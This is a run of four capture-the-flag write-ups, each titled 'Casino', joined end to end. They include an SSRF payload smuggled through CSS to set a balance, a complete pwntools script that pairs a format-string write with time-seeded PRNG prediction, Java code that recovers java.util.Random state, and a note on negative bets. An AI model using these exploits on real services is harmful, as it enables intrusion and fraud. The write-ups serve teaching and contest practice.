# Casino

Can you make $1000 off Casino#4970 on our Discord server? (say `$help` to view
commands)

Attachments: `casino.zip`

## Solution

Exploit: SSRF to `/set_balance` endpoint using CSS

The web server trusts input from the Discord bot:  
```javascript  
function internal (req, res, next) {  
if (  
req.socket.remoteAddress === '172.16.0.11' ||  
req.socket.remoteAddress === '::ffff:172.16.0.11'  
) {  
return next()  
}

return res.status(403).end()  
}  
```

The Discord bot visits `/badge` and screenshots it when we do the `!badge`  
command. It also allows us to add arbitrary CSS, though angle brackets are
escaped:  
```javascript  
const css = (req.query.css || '').replace(/</g, '<').replace(/>/g, '>')  
```

We can't escape from the `<style>` tag, but we can still make GET requests
using:  
```css  
background-image: url(http://malicious)  
```

Also the challenge author is an idiot and `/set_balance` is conveniently a GET  
endpoint. So all we have to do is send this message  
```  
!badge `#badge { background-image:
url(http://172.16.0.10:3000/set_balance?user=qxxxb%238938&balance=1000) }`  
```

Then `!flag` to get `CCC{maybe_1_sh0uldv3d_us3d_P0ST_in5t3ad_of_G3T}`  

Original writeup
(https://github.com/qxxxb/ctf_challenges/blob/master/2021/ccc/web/casino/solve).# Casino (pwn)  
Even though this had a low point value, this is definitely the hardest CTF
binary exploitation challenge that I have solved in a long while...

## Problem Statement:

![alt text](imgs/problem_statement.PNG "Chall")

## Initial Analysis:  
As always, with every binary exploitation problem, we begin by taking a look
at the protections enabled on the binary:

![alt text](imgs/checksec.PNG "checksec")

What's noteworthy is that full-RELRO is enabled. Normally, this is disabled
for performance reasons. Since full-RELRO makes the GOT-table read only, we
can infer that one of the vulnerabilities could allow us to write to the GOT
table, and so we need to find some other ways to exploit this program. Let's
run this binary and see what happens:

![alt text](imgs/init.PNG "init")

Ok, there seems to be some number guessing going on (hence the name "casino").
Also, the first input that we gave to the program is echo'd out back to us.
From experience, this might hint to us to try out format strings, which is
confirmed below:

![alt text](imgs/fmt.PNG "fmt")

This also explains why full-RELRO is enabled on the binary. Now, time to look
at the assembly code for in-depth analysis.

## Disassembly Analysis:

Below is the code for the random seed generation:

![alt text](imgs/seedgen.PNG "seedgen")

and below is the code for the random numbers:

![alt text](imgs/randgen.PNG "randgen")

Basically, time() is called with a given parameter of 0, which returns the
current epoch time in seconds. Frequently, this is enough to serve as a seed
of rand(), however within this program it gets a bit more complex. The "mov
edx, cccccccDh; mul edx" instructions multiplies the time by 0xcccccccd, the
"shr eax, 3" instruction shifts the most significant 32 bits of eax from the
multiplication result to the right by 3, and the "mov eax, cs:bet; add
[rbp+seed], eax;" adds the final result by whatever is stored in the global
variable bet. This is then finally saved as the seed for the srand() function.
Although this looks complicated, we can emulate the seed generation by using
the below python snippet:

```python  
seed = int(time())  
seed = seed * 0xcccccccd  
seed = int(str(hex(seed))[:10], 16)  
seed = seed >> 3  
seed = seed + bet  
```

The rest of main() generates 100 values based on the returned result of
rand(). Using the same idea described in one of the challenge writeups in
[TJCTF](https://medium.com/@mihailferaru2000/tjctf-2018-full-binary-
exploitation-walk-through-a72a9870564e), we can generate 100 values using the
rand() number generater by passing the seed as a command line parameter below:

```C  
#include <stdio.h>  
#include <stdlib.h>  
int main(int argc, char **argv) {  
int seed = atoi(argv[1]);  
srand(seed);  
for(int i = 0; i < 100; i++) {  
printf("%d\n", rand());  
}  
return 0;  
}  
```  
Combine the output of the 100 numbers, and we should be good to go............  
![alt text](imgs/almost.PNG "almost")  
...........or not.

## Format string attack

What went wrong? Well, a closer look at the disassembly reviewed the answer. A
value "which I named dowewin" is initialized with 0, and after each random
number guess, it is incremented by the value of bet, which was initially set
to 1. However, since we start at 0, after 100 numbers, we only reach 99. This
"dowewin" value must be greater than 100 after all the numbers are guessed, so
even after we finished generating all the values, we won't be able to get the
flag. Foiled!

...however, remember from earlier, we have a format string vulnerability.
Although we cannot write to the GOT table, we can write to bet, since it is a
global variable that is located in the .data section of the binary at address
0x602020, which has read/write permissions.

Unfortunately when we tried to write anything to that location, we ran into a
few more problems:

First, our buffer is only 16 bytes long, which is very, very small. The second
issue is illustrated below:  
![alt text](imgs/nullbyteproblem.PNG "almost")  
It's very subtle, but the second issue is that printf stops when it hits a
single null byte (otherwise the AAA's will be printed), as C-strings are null
terminated. However since 0x602020 is only a 24 bit address and printf only
reads 64-bit addresses at a time, we must fill the rest of the 64-bit value
with null bytes.

This issue caused me 4 hours of pain, as I tried various methods of overflow,
writing 0x602020 to some arbitrary location on the heap and fetching it, and
writing 0x602020 to the stack itself and getting lucky with ASLR

Eventually, I worked around it by writing the address to the last 64 bits of
the buffer, and doing the format string attack with the first 64 bits of the
buffer, and it finally worked:

![alt text](imgs/write.PNG "write")

The 'bet' variable is now 9 instead of 1, so the seed generation portion of
the exploit must be adjusted accordingly. After that, it was smooth sailing
from there.

## Full exploit script:  
```python  
from pwn import *  
from time import time  
import subprocess

bet = 0x602020

game = remote('35.243.188.20', 2001)

#Overwrite bet with 0x9, so that the casino can't cheat me (easily the hardest
part)  
game.recvuntil("name? ")  
fmtstr = "%9x%11$n"  
fmtstr += "\x20\x20\x60\x00\x00\x00\x00\x00"  
game.sendline(fmtstr)

#Abuse the PRNG that is seeded with the current time after multiplying with
0xcccccccd, stripping the lower half, and shifting right by 3  
seed = int(time())  
log.info("Current time: " + str(seed))  
seed = seed * 0xcccccccd  
seed = int(str(hex(seed))[:10], 16)  
seed = seed >> 3  
seed = seed + 9

log.success("Random seed value: " + str(seed))

#Generate the 100 values with the calculated seed value  
log.info("Generating 100 values with the calculated seed value...")  
rng = subprocess.Popen(['./rand', str(seed)], stdout=subprocess.PIPE)  
output = rng.stdout  
log.success("Values Generated!")

valueList = []  
for i in range(100):  
valueList.append(output.readline().strip())  
log.success("Values Filled!")

#Play the game!  
for value in valueList:  
progress = game.recvuntil("number: ")  
print progress  
log.info("Trying " + str(value))  
game.sendline(str(value))  
result = game.recvline()  
if "Sorry!" in result:  
log.failure("Guess was incorrect. Aborting...")  
exit()  
elif "Correct" in result:  
if "99/100" in progress:  
log.success("WE FINALLY WIN!")  
win = game.recvline()  
print win  
flag = game.recvuntil('}')  
print flag  
exit()  
log.success("Guess was correct! Keep going...")  
```  
## Epilogue  
And after much blood, sweat, and tears, we finally get the flag:

![alt text](imgs/finally.PNG "finally")

Thanks to the fireshell CTF team for this challenge, it caused me to rage so
much but getting the flag at the end was so worth it!

Original writeup (https://github.com/D4nch3n/Cyber-
Competitions/blob/master/fireshellctf/README.md).# Casino

> Get rich.

## Description

We are given an APK file. I fire [Android
Studio](https://developer.android.com/studio) and run the APK on an emulator.

![casino](../images/casino_app.png)

There are 2 relevant tabs: one for training and one for getting the flag. On
the training tab, we need to guess the next number, and as we see the first
result the range is quite high.

To get the flag, we need to guess the next 2 numbers.

## Solution

Let's dive into the dissassembled code (found on Android Studio by clicking on
`classes.dex` and browsing the `com` folder). By displaying the bytecode, we
see a few lines that catch our attention :

```  
.field final synthetic val$myRandom:Ljava/util/Random;  
.line 40  
iget-object p1, p0,
Lcom/example/casino/ui/home/HomeFragment$1;->val$myRandom:Ljava/util/Random;  
invoke-virtual {p1}, Ljava/util/Random;->nextInt()I  
move-result p1  
int-to-long v1, p1  
```

So they are actually using the `Random` from `java.util`. A quick look at the
[Java doc](https://docs.oracle.com/javase/8/docs/api/java/util/Random.html)
shows that:

> The class uses a 48-bit seed, which is modified using a linear congruential
> formula.  
>  
> Instances of java.util.Random are not cryptographically secure.

So we learn that it is not secure, and it is linear so 2 numbers should allow
us to deduce the state of the PRNG.

A quick Google search gives us a [working
exploit](https://crypto.stackexchange.com/questions/51686/how-to-determine-
the-next-number-from-javas-random-method), which I modify slightly to get the
flag.

```java  
import java.util.Random;

public class Casino {  
// implemented after
https://docs.oracle.com/javase/7/docs/api/java/util/Random.html  
public static int next(final long seed) {  
final int bits = 32;  
final long seed2 = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);  
return (int) (seed2 >>> (48 - bits));  
}

public static void main(final String[] args) {  
System.out.println("Starting");  
final long i1 = -583975528L;  
final long i2 = 1737279113L;  
long seed = 0;  
for (int i = 0; i < 65536; i++) {  
seed = i1 * 65536 + i;  
if (next(seed) == i2) {  
System.out.println("Seed found: " + seed);  
break;  
}  
}  
final Random random = new Random((seed ^ 0x5DEECE66DL) & ((1L << 48) - 1));  
final int o1 = random.nextInt();  
final int o2 = random.nextInt();  
final int o3 = random.nextInt();  
final long mul = (long)o2*(long)o3;  
System.out.println("So we have that nextInt is: "+o1+" and the product one is:
"+mul+" with seed: "+seed);

}  
}  
```

We enter it, and we get the flag:

![flag](../images/casino.png)

Flag: `shkCTF{Use_5ecUr3_R4nd0m_d5be1a37393b19e6d8f9f9d6aa1feab7}`

Original writeup (https://github.com/apoirrier/CTFs-
writeups/blob/master/SharkyCTF2020/Crypto/Casino.md).TLDR: Gamble a negative amount to add to your balance when you lose.  
https://toasterpwn.github.io/posts/tetctf-2023-casino/

Original writeup (https://toasterpwn.github.io/posts/tetctf-2023-casino/).